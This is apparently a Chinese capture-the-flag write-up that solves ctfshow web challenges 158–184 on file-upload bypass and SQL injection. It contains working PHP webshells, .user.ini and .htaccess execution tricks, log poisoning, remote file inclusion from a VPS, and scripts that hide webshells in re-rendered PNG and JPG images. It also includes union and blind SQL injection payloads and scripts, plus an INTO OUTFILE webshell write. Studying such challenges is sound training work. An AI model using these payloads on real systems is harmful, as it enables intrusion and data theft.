继续上传 .user.ini,随后上传马子,上一题的马子不能用了,继续二分法

最后发现过滤了大括号和分号,那么我们尝试使用不带大括号和中括号的命令,且PHP最后的分号是可以不写的

1
2
<?=@eval (array_pop($_POST))?>
//POST 传入的命令会被弹出然后被文件包含执行

随便使用一个参数POST命令上去

web158

继续上传配置文件,马子和上一题一样

web159

继续上传配置文件,在上传马子的时候发现过滤了小括号,需要找一找不带括号的马子

这时候我们可以这样,上传一个文件,内容是包含系统日志文件,然后我们在随便上传一个文件,而数据包的头我们可以随意构造,可以写我们的马子

1
<?=include '/var/log/nginx/access.log'?>

但是过滤了 log 所以我们使用字符串连接符连接一下

1
<?=include '/var/l'.'og/nginx/access.l'.'og'?>

成功包含到日志文件

然后我们随便上传一个文件,文件头部可以构造 payload

然后就可以命令执行了

另一种解法:因为()被过滤了,但是 PHP 命令执行的方式还可以是反引号 ``(这文件上传还考察了命令执行的绕过),所以我们在上传完配置文件后,马子可以这么写

1
<?=`tac ../f*`?>

随后直接访问 upload 执行文件包含即可

web160

和前面刷命令执行,代码执行的很像,就是命令执行,代码执行的绕过

继续上传配置文件 .user.ini

1
auto_prepend_file=mtrleed.txt

但是这题过滤的反引号和空格

方法一:使用日志包含

方法二:使用php伪协议来读取

上传的马子

1
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?> //可以不需要空格,被过滤的字符串我们使用字符串连接

随后直接访问 upload 进行文件包含,结果进行base64解码就行

web161

wp 说这题读取了文件的16进制来检查文件,所以我们的文件需要在原来的基础上加上文件头,这里添加的是GIF的文件头GIF89a(PNG的文件头死活弄不成)

上马子

web162

这题把flag和 . 给过滤了,所以我们不能包含有. 的东西了。可以远程文件包含的方式解题,包含VPS的长地址,地址可以访问到一句话木马,长地址是没有点的(师傅给的地址不能用了)

先上传一个配置文件包含一个不带后缀的文件

然后上传一个不带后缀的文件,文件内容是VPS地址。而地址上的资源是一句话

正常来说这样就可以了(这个远程地址不能用了)

web163

这题原本是让我们使用条件竞争的,马子文件上传之后马上就被删了。但是我们还是可以直接使用远程文件包含的方式。直接在配置文件里包含

1
auto_prepend_file=http://1231231231/

web164

本题考察png图片的二次渲染

二次渲染 将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。 大佬链接:https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

首先只能上传png文件

上传图片马,发现没有办法执行

在bp上发现图片中php代码没有了,猜测是进行了二次渲染

绕过二次渲染的png脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); //要修改的图片的路径

/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php

?>
------------------------------------
创建1.png图片成功!
------------------------------------

执行该脚本生成一张 png,然后上传

直接上传

然后点击查看文件

然后添加参数并POST命令

1
2
&0=system
1=tac f*

随后Ctrl+s保存图片,使用工具查看,那到flag

web165

本题考察 jpg 文件二次渲染

右键查看源代码发现需要 jpg 文件

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/

$miniPayload = '<?=eval($_POST[1]);?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

将一张 jpg 照片放到同目录下,随后执行

1
php web165.php 5.jpg

在题中上传图片,上传成功后,查看图片,然后进行POST传参

1
1=system('tac f*');

抓包后,发到Repeater模块中,就可以找到flag了(没成功,成功率比较低)

web166

右键查看源码发现要上传 zip

直接上传一句话,用bp抓包

1
2
3
注意:有时候会出错,是因为
要改一下MIME类型:Content-Type: application/zip
需要修改成:Content-Type: application/x-zip-compressed

点击下载,发现代码不会执行代码,而是单纯的下载。我们需要右键下载文件复制地址然后使用 harkbar 操作

1
2
pass=system("cat ../f*");die();
//如果不使用die()那么就会直接下载文件不会显示内容,原因是因为这个Content-Type: application/x-zip-compressed

web167

查看源码需要 jpg

使用上一题的方法,发现访问不到该图片了

使之报错发现中间件是 Apache

之前上传的配置文件都是针对Nginx的.ini,这次我们针对Apache换一个姿势

1
2
3
4
关于.htaccess 和.user.ini 配置文件
https://www.dazhuanlan.com/vip_mmles/topics/1547397

.htaccess 是 Apache 的配置文件,不过相当于一个局部配置文件,只对该文件所在目录下的文件起作用。

姿势:

先上传一个jpg文件,抓包修改名称为.htaccess 只要后缀(这个操作就是平时打的靶场)

文件内容为:

1
2
3
AddType application/x-httpd-php .jpg   //将.jpg后缀的文件解析 成php
或者
SetHandler application/x-httpd-php //将所有文件都解析为 php 文件

然后在上传图片马

接着就是和上一题一样下载传命令

web168

右键查看源代码回到 png

直接上传马子发现返回空,说明被过滤了,尝试后发现过滤了evalsystem,$_POST $_GET等等,真要传马子的话这题需要免杀

我们直接上传文件能不能直接执行代码,抓包改后缀,发现照片被直接执行了,且<?php phpinfo();?>能够被正常执行

那么我们试试别的命令

1
2
3
<?=`ls`?>
<?=`ls ../`?> //真正的flag在这个目录
<?=`tac ../flagaa.php`?>

wbe169

右键查看源代码发现需要上传zip

但是直接上传zip不行,需要将content-type改为image/png (很怪),但是也是显示为null

尝试上传php文件发现过滤了<>?,.user.ini也是可以上传的,且没有过滤

那么我们继续使用前面的使用日志文件包含

先上传.user.ini文件,内容为auto_append_file=/var/log/nginx/access.log

1
2
3
auto_append_file=/var/log/nginx/access.log
这里是利用nginx日志路径包含
这样就可以往UA里写入一句话了,也可以直接执行命令 <?=`tac ../flagaa.php`?>

然后在上传一个php文件,头部添加代码执行

因为index.php文件不存在,所以我们要访问我们上传的文件

web170

查看源码还是上传zip但是content-type类型要为image/png,还是可以上传.user.ini

我们继续使用日志文件包含,直接头部嵌入代码执行

web170-2

SQL注入(171-253)

web171(SQL语句无过滤↓↓↓)

题目给出了sql语句

1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

当我们输入id=1的时候,语句代入数据库中查询就会变成这样

1
select username,password from user where username !='flag' and id ='1' limit 1;

如果我们加个单引号,即

1
select username,password from user where username !='flag' and id ='1'' limit 1;

导致sql语句不规范会报错

我们添加注释

1
select username,password from user where username !='flag' and id ='1'-- -' limit 1;

这样数据库接收到的语句是这样的,语法没问题不再报错

1
select username,password from user where username !='flag' and id ='1'

接下来我们用order by语句测试有多少列

1
1' order by 4-- -

没有那么多列报错了

减少为3,正常执行,说明有3列(当然明眼的师傅前面已经看得出是只有三列了)

接着我们要查显示位,我们查一下数据库名字,这里用union语句来连接查询,并且在前面把id改成-1以达到把查询id回显的数据给置空的目的

1
2
-1' union select 1,2,3 --+
-1' union select database(),2,3 -- -

三个位置都可以回显,当前数据库名

回显出数据库名字为ctfshow_web,接下来查询表,这里我们用group_concat函数,它可以把相同行的数据都组合起来

1
2
3
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() --+

查出表名为ctfshow_user,接下来再去查列名

1
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user"--+

得到有id,username,password三个列名,然后再password中找到了flag

1
-1' union select password,2,3 from ctfshow_user--+

web172

本题在注入点1直接找是没找到flag

1
-1' union select password,2,3 from ctfshow_user--+

那么从头来,原因是有俩表

1
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() --+

我们换一个数据库找flag

1
-1' union select password,2,3 from ctfshow_user2--+

web173

查询出来有3列

1
1' order by 3-- -

直接查表名,有3个,经验告诉我们flag在表3

1
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() --+

拿flag

1
-1' union select password,2,3 from ctfow_user3-- -

web174

这里有个坑点,就是选择第四关后,url还是第三关的,得手动把数字3改成4

有点过滤了,对结果进行过滤,flag肯定是带有数字的所有不给与显示。

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

方法1:将查询到的flag使用sql替换函数将数字替换为字符,就能输出了(ctfshow 大菜鸡师傅解法)

方法2:用盲注的方式拿flag,用的substr语句和页面回显查询出的admin语句来结合利用(南神的解法)。url需要抓包复制,题目直接给的url不带API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web174
# time: 2023/11/15 9:58

import requests
url = "http://59f351a4-07c2-4142-b21b-6ffca225919c.challenge.ctf.show/api/v4.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = ""
for i in range(1,50):
for j in dict:
payload = f"?id=1' and substr((select password from ctfshow_user4 where username=\"flag\"),{i},1)=\"{j}\"--+"
gloal = url + payload
res = requests.get(url=gloal)
if 'admin' in res.text:
flag += j
print(flag)
break

web175

这题的匹配规则把ascii码表中全部字符给禁了

1
2
3
4
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

不过我们还可以利用时间盲注的方法来判断获取flag,先说一下mysql中的if判断方法吧

1
if(expr1,expr2,expr3)  

如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 if()的返回值为expr2; 否则返回值则为 expr3。写个时间盲注脚本来跑 (南神)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web175
# time: 2023/11/15 10:39

import requests
import time
url = "http://791fe708-210d-4f2d-8f9e-bcbc6ab3de4b.challenge.ctf.show/api/v5.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = ""
for i in range(1,50):
for j in dict:
payload = f"?id=1' and if(substr((select password from ctfshow_user5 where username=\"flag\"),{i},1)=\"{j}\",sleep(5),0)--+"
gloal = url + payload
start = time.time()
res = requests.get(url=gloal)
end = time.time()
if end-start > 4.9:
flag += j
print(flag)
break

解法2:

可以写文件getshell

测试通过页面回显可知有两个位置

写文件(实际环境中文件写入要判断secure_file_priv参数)

secure_file_priv为NULL,表示禁止限制操作
secure_file_priv为某一目录,表示只能操作该目录下的文件
secure_file_priv为空,表示不对读写文件进行限制

1
2
命令:show global variables like "secure%";

写文件,需要一句话需要base+url编码一下,直接发也行

1
2
3
-1' union  select 1,"<?php eval($_POST['pass'])?>" into outfile '/var/www/html/1.php'-- -
编码后:
-1' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4a%33%42%68%63%33%4d%6e%58%53%6b%2f%50%67%3d%3d") into outfile '/var/www/html/1.php'-- -

文件是写进去了,但是显示语法错误

重启环境再次上传可以成功

查看数据库配置可以指定账号密码root/root

1
pass=system('tac' ./api/config.php');

蚂剑getshell然后连接数据库即可

检测数据库类型

选择对应数据库然后输入账号密码连接添加

方法3:

既然我们知道可以写文件,那么我们可以将flag写进另一个文件然后访问该文件

1
-1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -

web176(SQL语句有过滤↓↓↓)

本题开始有过滤,出题人挺幽默

执行查列名还是正常回显

1
1' order by 3-- -

但是但是在查显示位的时候报错了,肯定是在这过滤了,先从大小写和双写开始

1
-1' union selecT 1,2,3-- - //原来是select被过滤,任意一个大写即可绕过

前面已经知道了数据库结构,这里我们直接拿flag

1
-1' union selecT password,2,3 from ctfshow_user-- -

web177

1
2
3
1'--+ 不可以
1'%23 可以
1' %23 不可以

确定这一题过滤了空格和–+,可以用%0a(空格)和%23(#)代替。

语句是

1
2
3
注释符被绕还可以or'1或||'1绕过
我们的输入是:1'or'1
select username,password from user where username !='flag' and id ='1'or'1 limit 1;

绕过

1
-1'%0aunion%0aselect%0apassword,2,3%0afrom%0actfshow_user%23

web178

使用上一题的payload

web179

注释被过滤,可以%23;空格被过滤,%0a不能用了可以用%0c(换页符)代替

1
-1'%0cunion%0cselect%0cpassword,2,3%0cfrom%0cctfshow_user%23

web180

这一题注释符#%23被过滤可以用||'替代,空格依旧可以%0c(换页符)

但是||'不能直接用在SQL查询语句中

所以要这样,使用group_concat(password)输出所有where%0c'1'='1

payload

1
-1'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1

语句是这样的

1
select username,password from user where username !='flag' and id ='1' where '1'='1 limit 1;

web181

这题过滤的代码放出来了,%0c也不能用了

1
2
3
4
5
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
//一些符号的16进制

这次把已知的能用的绕过空格方法都给过滤了,不过还可以采用运算符的方式来精心构造一个万能密码,先放出payload

1
-1'or(id=26)and'1

前面我们已经知道表的结构是id,username,password,所以我们通过查id的方式去找flag,而用运算符中,and的优先级比or高,这句话放到查询语句中就变成了

1
2
3
4
id='-1'or(id=26)and'1' limit 1;
也就是
(id='-1') or ((id=26) and '1') limit 1;
前面为0,后面为1,所以整个条件为1

web182

过滤与上一题相比多了一个flag

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

继续用上一题的payload

1
-1'or(id=26)and'1

web183

这一题的查询语句变了,过滤也把and过滤了

打开网站后根据提示,利用post传参,值为表名,根据之前的题我们知道表名是“ctfshow_user”,所以post一下

发现返回值为22,说明有22行数据,这里看返回逻辑把空格和等号以及一些常用的语句给ban掉了,空格的话尝试用括号扩住来让语句正常执行,等号用like来替代,然后用where和%来匹配数据

1
post:tableName=(ctfshow_user)where(pass)like'ctfshow%'

发现返回值为1,说明执行成功,我们写一个脚本来跑剩下的flag

web184

未完待续。。。。。。。佛系更新